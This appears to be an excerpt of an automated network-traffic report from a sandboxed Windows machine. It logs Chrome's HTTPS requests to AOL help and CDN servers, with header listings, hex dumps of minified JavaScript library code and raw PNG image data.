2024-05-23 22:35:03 UTC	1390	IN	Data Raw: 29 29 62 72 65 61 6b 20 61 3b 63 3d 63 5b 65 5d 7d 61 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 3b 64 3d 63 5b 61 5d 3b 62 3d 62 28 64 29 3b 62 21 3d 64 26 26 6e 75 6c 6c 21 3d 62 26 26 62 61 28 63 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 62 7d 29 7d 7d 3b 0a 70 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 64 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 61 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 69 66 28 6e 75 6c 6c 3d 3d 74 68 69 73 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 27 74 68 69 73 27 20 76 61 6c 75 65 20 66 6f 72 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e Data Ascii: ))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}};p("String.prototype.endsWith",function(a){return a?a:a=function(b,c){if(null==this)throw new TypeError("The 'this' value for String.prototype.en
2024-05-23 22:35:03 UTC	1390	IN	Data Raw: 7d 2c 66 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 53 74 72 69 6e 67 26 26 28 61 2b 3d 22 22 29 3b 76 61 72 20 63 3d 30 2c 64 3d 21 31 2c 65 3d 7b 6e 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 64 26 26 63 3c 61 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 66 3d 63 2b 2b 3b 72 65 74 75 72 6e 7b 76 61 6c 75 65 3a 62 28 66 2c 61 5b 66 5d 29 2c 64 6f 6e 65 3a 21 31 7d 7d 64 3d 21 30 3b 72 65 74 75 72 6e 7b 64 6f 6e 65 3a 21 30 2c 76 61 6c 75 65 3a 76 6f 69 64 20 30 7d 7d 7d 3b 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 7d 3b 72 65 74 75 72 6e 20 65 7d 3b 70 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 73 22 2c 66 75 6e Data Ascii: },fa=function(a,b){a instanceof String&&(a+="");var c=0,d=!1,e={next:function(){if(!d&&c<a.length){var f=c++;return{value:b(f,a[f]),done:!1}}d=!0;return{done:!0,value:void 0}}};e[Symbol.iterator]=function(){return e};return e};p("Array.prototype.keys",fun
2024-05-23 22:35:03 UTC	1390	IN	Data Raw: 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6b 29 7b 76 61 72 20 6d 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 6b 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 66 6f 72 28 6b 3d 6d 3f 6d 2e 63 61 6c 6c 28 6b 29 3a 7b 6e 65 78 74 3a 61 61 28 6b 29 7d 3b 21 28 6d 3d 6b 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6c 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 2c 6d 29 7b 69 66 28 21 64 28 6b 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 57 65 61 6b 4d 61 70 20 6b 65 79 22 29 3b 65 28 6b 29 3b Data Ascii: ()+1).toString();if(k){var m="undefined"!=typeof Symbol&&Symbol.iterator&&k[Symbol.iterator];for(k=m?m.call(k):{next:aa(k)};!(m=k.next()).done;)m=m.value,this.set(m[0],m[1])}};l.prototype.set=function(k,m){if(!d(k))throw Error("Invalid WeakMap key");e(k);
2024-05-23 22:35:03 UTC	1390	IN	Data Raw: 65 63 53 63 72 69 70 74 28 22 76 61 72 20 22 2b 61 5b 30 5d 29 3b 66 6f 72 28 76 61 72 20 64 3b 61 2e 6c 65 6e 67 74 68 26 26 28 64 3d 61 2e 73 68 69 66 74 28 29 29 3b 29 61 2e 6c 65 6e 67 74 68 7c 7c 76 6f 69 64 20 30 3d 3d 3d 62 3f 63 3d 63 5b 64 5d 26 26 63 5b 64 5d 21 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 5b 64 5d 3f 63 5b 64 5d 3a 63 5b 64 5d 3d 7b 7d 3a 63 5b 64 5d 3d 62 7d 2c 7a 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 79 2e 70 72 6f 74 6f 74 79 70 65 3b 63 5b 61 5d 3d 62 7d 2c 41 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 7d 63 2e 70 72 6f 74 6f 74 79 70 65 3d 62 2e 70 72 6f 74 6f 74 79 70 65 3b 0a 61 2e 41 61 3d 62 2e 70 72 6f 74 6f 74 79 70 65 3b 61 2e 70 72 6f 74 6f Data Ascii: ecScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b},z=function(a,b){var c=y.prototype;c[a]=b},A=function(a,b){function c(){}c.prototype=b.prototype;a.Aa=b.prototype;a.proto
2024-05-23 22:35:03 UTC	1390	IN	Data Raw: 72 20 63 3b 72 65 74 75 72 6e 20 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 64 65 78 4f 66 2e 63 61 6c 6c 28 61 2c 62 2c 63 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 6e 75 6c 6c 3d 3d 63 3f 30 3a 30 3e 63 3f 4d 61 74 68 2e 6d 61 78 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 63 29 3a 63 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 61 29 72 65 74 75 72 6e 22 73 74 72 69 6e 67 22 21 3d 3d 74 79 70 65 6f 66 20 62 7c 7c 31 21 3d 62 2e 6c 65 6e 67 74 68 3f 2d 31 3a 61 2e 69 6e 64 65 78 4f 66 28 62 2c 63 29 3b 66 6f 72 28 3b 63 3c 61 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 69 66 28 63 20 69 6e 20 61 26 26 61 5b 63 5d 3d 3d 3d 62 29 72 65 74 75 72 6e 20 63 3b 72 65 74 75 72 6e 2d 31 7d 2c 44 3d 41 72 72 61 79 2e 70 Data Ascii: r c;return Array.prototype.indexOf.call(a,b,c)}:function(a,b){var c=null==c?0:0>c?Math.max(0,a.length+c):c;if("string"===typeof a)return"string"!==typeof b\|\|1!=b.length?-1:a.indexOf(b,c);for(;c<a.length;c++)if(c in a&&a[c]===b)return c;return-1},D=Array.p
2024-05-23 22:35:03 UTC	1390	IN	Data Raw: 3e 62 3f 31 3a 30 7d 3b 76 61 72 20 45 61 3b 61 3a 7b 76 61 72 20 46 61 3d 76 2e 6e 61 76 69 67 61 74 6f 72 3b 69 66 28 46 61 29 7b 76 61 72 20 47 61 3d 46 61 2e 75 73 65 72 41 67 65 6e 74 3b 69 66 28 47 61 29 7b 45 61 3d 47 61 3b 62 72 65 61 6b 20 61 7d 7d 45 61 3d 22 22 7d 76 61 72 20 47 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 45 61 3b 72 65 74 75 72 6e 2d 31 21 3d 62 2e 69 6e 64 65 78 4f 66 28 61 29 7d 2c 48 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 45 61 3b 72 65 74 75 72 6e 2d 31 21 3d 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 22 77 65 62 6b 69 74 22 29 7d 3b 76 61 72 20 49 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 2c 4a 61 3d 66 75 6e 63 74 69 6f 6e 28 61 Data Ascii: >b?1:0};var Ea;a:{var Fa=v.navigator;if(Fa){var Ga=Fa.userAgent;if(Ga){Ea=Ga;break a}}Ea=""}var G=function(a){var b=Ea;return-1!=b.indexOf(a)},Ha=function(){var a=Ea;return-1!=a.toLowerCase().indexOf("webkit")};var Ia=function(){return null},Ja=function(a
2024-05-23 22:35:03 UTC	1390	IN	Data Raw: 70 65 2e 56 3d 21 30 3b 49 2e 70 72 6f 74 6f 74 79 70 65 2e 4c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 77 61 7d 3b 49 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 77 61 2e 74 6f 53 74 72 69 6e 67 28 29 7d 3b 0a 76 61 72 20 57 61 3d 7b 7d 2c 58 61 3d 6e 65 77 20 49 28 22 22 2c 57 61 29 2c 5a 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 29 72 65 74 75 72 6e 20 61 3d 51 61 28 61 29 2c 27 75 72 6c 28 22 27 2b 61 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 25 33 63 22 29 2e 72 65 70 6c 61 63 65 28 2f 5b 5c 5c 22 5d 2f 67 2c 22 5c 5c 24 26 22 29 2b 27 22 29 27 3b 61 3d 61 20 69 6e 73 74 61 6e 63 65 Data Ascii: pe.V=!0;I.prototype.L=function(){return this.wa};I.prototype.toString=function(){return this.wa.toString()};var Wa={},Xa=new I("",Wa),Za=function(a){if(a instanceof H)return a=Qa(a),'url("'+a.replace(/</g,"%3c").replace(/[\\"]/g,"\\$&")+'")';a=a instance
2024-05-23 22:35:03 UTC	1390	IN	Data Raw: 20 63 2b 66 2b 62 2b 66 2b 65 7d 29 7d 3b 76 61 72 20 68 62 3d 7b 7d 2c 4a 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 74 68 69 73 2e 76 61 3d 62 3d 3d 3d 68 62 3f 61 3a 22 22 3b 74 68 69 73 2e 56 3d 21 30 7d 2c 6a 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 22 22 2c 63 3d 66 75 6e 63 74 69 6f 6e 28 64 29 7b 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 64 29 3f 44 28 64 2c 63 29 3a 62 2b 3d 69 62 28 64 29 7d 3b 44 28 61 72 67 75 6d 65 6e 74 73 2c 63 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 4a 28 62 2c 68 62 29 7d 3b 4a 2e 70 72 6f 74 6f 74 79 70 65 2e 4c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 76 61 7d 3b 76 61 72 20 69 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 20 69 6e 73 74 61 6e 63 65 Data Ascii: c+f+b+f+e})};var hb={},J=function(a,b){this.va=b===hb?a:"";this.V=!0},jb=function(a){var b="",c=function(d){Array.isArray(d)?D(d,c):b+=ib(d)};D(arguments,c);return new J(b,hb)};J.prototype.L=function(){return this.va};var ib=function(a){return a instance
2024-05-23 22:35:03 UTC	1390	IN	Data Raw: 61 72 20 63 3d 73 62 3b 76 61 72 20 64 3d 64 3f 64 28 61 29 3a 61 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 63 2c 64 29 3f 63 5b 64 5d 3a 63 5b 64 5d 3d 62 28 61 29 7d 3b 76 61 72 20 75 62 3d 47 28 22 4f 70 65 72 61 22 29 2c 4c 3d 47 28 22 54 72 69 64 65 6e 74 22 29 7c 7c 47 28 22 4d 53 49 45 22 29 2c 76 62 3d 47 28 22 45 64 67 65 22 29 2c 77 62 3d 47 28 22 47 65 63 6b 6f 22 29 26 26 21 28 48 61 28 29 26 26 21 47 28 22 45 64 67 65 22 29 29 26 26 21 28 47 28 22 54 72 69 64 65 6e 74 22 29 7c 7c 47 28 22 4d 53 49 45 22 29 29 26 26 21 47 28 22 45 64 67 65 22 29 2c 78 62 3d 48 61 28 29 26 26 21 47 28 22 45 64 67 65 22 29 2c 79 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 Data Ascii: ar c=sb;var d=d?d(a):a;return Object.prototype.hasOwnProperty.call(c,d)?c[d]:c[d]=b(a)};var ub=G("Opera"),L=G("Trident")\|\|G("MSIE"),vb=G("Edge"),wb=G("Gecko")&&!(Ha()&&!G("Edge"))&&!(G("Trident")\|\|G("MSIE"))&&!G("Edge"),xb=Ha()&&!G("Edge"),yb=function(){v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
394	192.168.2.6	50096	69.147.82.60	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:02 UTC	1078	OUT	GET /assets/css/ HTTP/1.1 Host: help.aol.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B
2024-05-23 22:35:03 UTC	444	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:02 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 185 Server: ATS Location: / Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:35:03 UTC	185	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
395	192.168.2.6	50162	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	565	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2020-11%2F24ea2060-2fbd-11eb-b6fd-a6e16217c6e6&client=76f99bdb8f78cd44cc0b&signature=1419feb050e694c7a2754e158012c82126a1c217 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:04 UTC	1132	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2040878 Cache-Control: public, max-age=2592000 Cache-Tag: 491159898302368516984374933222855513569,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21982-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:35:04 GMT Edge-Cache-Tag: 491159898302368516984374933222855513569,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "5350207f56e7cdafebb681074189cc85" Expiration: expiry-date="Thu, 18 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Fri, 19 Jan 2024 21:44:58 GMT Server: ECAcc (lhd/35A8) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=339,owidth=400,oheight=400,obytes=109294,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-iad-kjyo7100070-IAD X-Timer: S1711266027.053369,VS0,VE97 Content-Length: 339 Connection: close
2024-05-23 22:35:04 UTC	339	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 5d 50 4c 54 45 47 70 4c ff ff ff ff ff ff fd eb d6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd d4 aa fd fc fa e6 e6 e5 fe f5 ea eb eb eb fc ca 94 fc e4 c8 f5 f5 f5 fc de bc bf bf bf e1 e1 e1 d3 d3 d3 fd c3 89 fc d9 b3 fc ce 9e f0 f0 f0 b3 b3 b3 ca ca ca d9 d9 d9 9e 9e 9e de de de 51 88 cf a1 00 00 00 0a 74 52 4e 53 00 c1 ff ff 97 f9 d9 09 9a 31 a3 db f8 54 00 00 00 9b 49 44 41 54 18 d3 6d 4f 49 12 c3 20 0c 23 18 08 98 9d ec 49 9b ff 3f 33 76 d2 e9 a1 53 1d 34 b6 2c 19 2c 04 c1 29 a3 b5 51 4e 3c e8 ad fc c0 f6 77 df 71 1d 23 73 c7 0a cf a1 94 b6 00 7b 28 cf 63 84 82 73 66 93 13 8a 18 1b 60 c1 8c 54 2a 61 88 e7 86 31 36 98 a9 34 42 b3 23 Data Ascii: PNGIHDR(-S]PLTEGpLQtRNS1TIDATmOI #I?3vS4,,)QN<wq#s{(csf`T*a164B#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
396	192.168.2.6	50161	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	565	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2020-12%2F515ef980-3432-11eb-b5ef-2a7f8e085664&client=76f99bdb8f78cd44cc0b&signature=d35cb23bd2a7d15db2b9b7fbe5c674ff1e2112a3 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:04 UTC	1130	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 53631 Cache-Control: public, max-age=2592000 Cache-Tag: 289563384341639314616203678204663212279,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000123-IAD cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 61 Content-Type: image/png Date: Thu, 23 May 2024 22:35:04 GMT Edge-Cache-Tag: 289563384341639314616203678204663212279,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "71b1b04e436c24693e6ff49bc0f9043b" Expiration: expiry-date="Wed, 07 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 08 Feb 2024 18:27:12 GMT Server: ECAcc (dcd/7D2A) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=358,owidth=400,oheight=400,obytes=52347,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-lga21938-LGA X-Timer: S1711266074.561274,VS0,VE1 Content-Length: 358 Connection: close
2024-05-23 22:35:04 UTC	358	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 6f 50 4c 54 45 47 70 4c 1e 1e 1e ff ff ff ff ff ff 00 00 00 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 1f 1f 1f ea ea ea f6 f6 f6 00 00 00 ff ff ff fd fd fd c2 c2 c2 72 72 72 67 67 67 7e 7e 7e ec ec ec 94 94 94 29 29 29 3f 3f 3f 1d 1d 1d f9 f9 f9 08 08 08 89 89 89 d1 d1 d1 59 59 59 49 49 49 f2 f2 f2 11 11 11 b3 b3 b3 a3 a3 a3 30 30 30 77 77 77 04 02 07 06 00 00 00 0d 74 52 4e 53 00 c1 9a 09 f9 09 c1 98 d9 31 c1 9a 09 f1 cc a4 79 00 00 00 99 49 44 41 54 18 19 2d c1 07 42 04 21 10 45 c1 af c2 36 a8 af 61 f2 6c 36 dd ff 8c b2 62 95 1e b2 a5 10 92 65 75 d1 f8 67 51 4d 3c 30 5c c7 a5 d2 3c bd 48 32 26 bf 1f fd 0c 7c 5c 9e a5 cc 36 dd d6 e2 2b 9c aa 2f Data Ascii: PNGIHDR(-SoPLTEGpLrrrggg~~~)))???YYYIII000wwwtRNS1yIDAT-B!E6al6beugQM<0\<H2&\|\6+/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
397	192.168.2.6	50166	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	562	OUT	GET /images/dims?quality=80&thumbnail=300%2C300%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_variety_168%2F86398a45e567bb803f18e1c898b80f4d&client=76f99bdb8f78cd44cc0b&signature=fa8a7e31abec34ce9bbd0b370082807b05100ca9 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:04 UTC	1132	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 21307 Cache-Control: public, max-age=2592000 Cache-Tag: 246817519411096991793923859149528834747,381978731929337284473205412847815312299,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21930-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_id: ff06678ed3b79e158191cb7b2dfacfba cld_latency: 410 Content-Type: image/png Date: Thu, 23 May 2024 22:35:04 GMT Edge-Cache-Tag: 246817519411096991793923859149528834747,381978731929337284473205412847815312299,ae7a14591aaf8d474cdb3f92111c923e Etag: "4b9e4a912420cccb605fa46854d1e60f" Last-Modified: Thu, 23 May 2024 16:39:58 GMT Server: ECAcc (dcd/7D55) Status: 200 OK Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=300,height=300,bytes=6193,owidth=1266,oheight=844,obytes=112589,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Request-Id: ff06678ed3b79e158191cb7b2dfacfba X-Served-By: cache-lga21930-LGA X-Timer: S1716482397.286754,VS0,VE410 Content-Length: 6193 Connection: close
2024-05-23 22:35:04 UTC	6193	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 03 00 00 00 4e a3 7e 47 00 00 00 5d 50 4c 54 45 0a 51 94 0a 50 92 0a 50 96 0a 52 98 09 52 95 09 52 92 fe ff fd ff ff ff ff ff fe fe ff ff fb fe fe f0 f6 fa 0a 51 8f 16 56 90 f6 fb fc 33 68 99 d7 e4 ee b7 cc db 77 9d ba 24 5f 8f 24 61 99 45 78 a5 e3 ee f4 c9 da e6 a6 c0 d4 98 b4 cb 6b 92 b5 54 84 ad 3d 70 a0 89 a9 c3 09 4e 87 87 19 54 b6 00 00 17 8f 49 44 41 54 78 da ec 9c 6b 73 a3 3a 0c 86 b1 b1 0d 18 73 0d 21 5c 92 fe ff 9f 79 24 d9 80 49 d3 ed 7e 38 9d cd 4c f5 b6 d3 76 c3 42 cc 63 59 96 85 9c 24 61 b1 58 2c 16 8b c5 62 b1 58 2c 16 8b c5 62 b1 58 2c 16 8b c5 62 b1 58 2c 16 8b c5 62 b1 58 2c 16 8b c5 62 b1 58 2c 16 8b c5 62 b1 58 2c 16 8b c5 62 b1 58 2c 16 8b c5 62 b1 58 2c 16 8b Data Ascii: PNGIHDR,,N~G]PLTEQPPRRRQV3hw$_$aExkT=pNTIDATxks:s!\y$I~8LvBcY$aX,bX,bX,bX,bX,bX,bX,bX,bX,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
398	192.168.2.6	50160	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:04 UTC	578	OUT	GET /images/dims?quality=80&thumbnail=300%2C300%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2022-08%2F42b48620-19dc-11ed-9def-335ff63bb2a0&client=76f99bdb8f78cd44cc0b&signature=0468b59009bf341c47eef19de48a359570b09e19 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:04 UTC	1140	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 29353 Cache-Control: public, max-age=2592000 Cache-Tag: 305317539050240599320269195301767260501,381978731929337284473205412847815312299,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21969-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_id: 59aaa9976de57915252195419cda5c3e cld_latency: 2920 Content-Type: image/jpeg Date: Thu, 23 May 2024 22:35:04 GMT Edge-Cache-Tag: 305317539050240599320269195301767260501,381978731929337284473205412847815312299,ae7a14591aaf8d474cdb3f92111c923e Etag: "2f8fc50a1d68c54977edcaa328c131a5" Last-Modified: Thu, 23 May 2024 13:29:17 GMT 